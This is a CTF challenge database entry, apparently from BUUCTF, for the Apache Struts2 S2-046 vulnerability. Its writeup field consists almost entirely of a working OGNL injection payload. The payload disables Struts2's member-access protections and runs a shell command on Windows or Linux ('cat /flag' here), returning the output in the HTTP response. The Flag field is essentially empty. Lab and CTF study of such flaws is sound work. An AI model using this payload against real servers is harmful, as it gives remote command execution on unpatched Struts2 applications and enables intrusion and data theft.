| ID: | 7457 |
|---|---|
| 标题: | [struts2]s2-046 |
| 描述: | https://github.com/vulhub/vulhub/tree/master/struts2/s2-046 |
| 类型: | Real |
| 网站: | BUUCTF |
| 题目链接: | https://buuoj.cn/challenges#[struts2]s2-046 |
| 赛事: | struts2 |
| 年度: | None |
| Flag值: | " |
| writeup: |
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /flag').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} https://blog.csdn.net/qq_45813980/article/details/118677183 |